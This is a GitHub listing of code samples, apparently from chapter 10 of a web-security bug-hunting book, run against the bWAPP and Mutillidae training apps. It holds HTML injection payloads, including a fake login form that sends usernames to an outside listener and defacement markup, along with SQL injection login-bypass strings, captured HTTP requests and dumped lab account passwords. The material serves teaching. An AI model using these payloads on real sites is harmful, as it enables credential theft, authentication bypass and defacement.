forked from Apress/bug-hunting-web-security
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Sinha_ch10_Codes
208 lines (155 loc) · 4.91 KB
/
Sinha_ch10_Codes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
//code 10.1
<h1>You can add any HTML code here...</h1>
-----------------
//code 10.2
POST /bWAPP/htmli_post.php HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.2/bWAPP/htmli_post.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Cookie: PHPSESSID=n34706npi41did8c59klvta455; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; security_level=0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
firstname=sanjib&lastname=sinha&form=submit
------------------------
//code 10.3
<form name="login" action="http://10.0.2.15:1234/test.html"
<table>
<tr><td>Username:</td><td><input type="text" name="username"</td></tr>
</table>
<input type="submit" value="Submit" />
</form>
---------------------
//code 10.4
GET /test.html?username=anything HTTP/1.1
Host: 10.0.2.15:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.2/bWAPP/htmli_stored.php
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
--------------------------
//code 10.5
<tr height="40">
<td align="center">6</td>
<td>sanjib</td>
<td>2019-08-12 23:45:42</td>
<td><form name="login" action="http://10.0.2.15:1234/test.html"
<table>
<tr><td>Username:</td><td><input type="text" name="username"</td></tr>
</table>
<input type="submit" value="Submit" />
</form></td>
</tr>
-----------------
//code 10.6
<tr height="40">
<td align="center">6</td>
<td>sanjib</td>
<td>2019-08-12 23:45:42</td>
<td><form name="login" action="http://10.0.2.15:1234/test.html"
<table>
<tr><td>Username:</td><td><input type="text" name="username"</td></tr>
</table>
<input type="submit" value="Submit" />
</form></td>
-------------------------
//code 10.7
FF0000"><h1>This site has been HACKED"</h1>
--------------------------
//code 10.8
I am going to inject HTML code</td><h1><marquee>This site has been hacked!</marquee></h1>
--------------------------
//code 10.9
Username=sanjib
Password=123456
Signature=I am Sanjib
----------------------------
//code 10.10
SELECT * FROM accounts WHERE username="sanjib" AND password="123456";
------------------------
//code 10.11
sanjib' --
-------------
//code 10.12
SELECT * FROM accounts WHERE username="sanjib" -- ;
----------------
//code 10.13
SELECT * FROM accounts WHERE username="sanjib" OR 6=6 -- ;
-------------------
//code 10.14
Username=admin
Password=admin
Signature=g0t r00t?
Username=adrian
Password=somepassword
Signature=Zombie Films Rock!
Username=john
Password=monkey
Signature=I like the smell of confunk
Username=jeremy
Password=password
Signature=d1373 1337 speak
Username=bryce
Password=password
Signature=I Love SANS
Username=samurai
Password=samurai
Signature=Carving fools
---
---------------
//code 10.15
SELECT * FROM accounts WHERE username="sanjib" AND password="123456";
------------------
//code 10.16
SELECT * FROM accounts WHERE username="sanjib" OR 1 --
--------------------
//code 10.17
sanjib' OR 1 --
-----------------------
//code 10.18
admin' --
-------------------------
//code 10.19
SELECT * FROM accounts WHERE username="admin" -- ;
------------------------
//code 10.20
POST /mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.168.2.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.3/mutillidae/index.php?page=login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: showhints=1; PHPSESSID=4v0q10evpq6jjrlgjt68djtl80; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
username=sadldfjfkg&password=&login-php-submit-button=Login
------------------------
//code 10.21
POST /mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.168.2.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.3/mutillidae/index.php?page=login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: showhints=1; PHPSESSID=4v0q10evpq6jjrlgjt68djtl80; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
username=s§adldfjfkg§&password=&login-php-submit-button=Login
---------------------------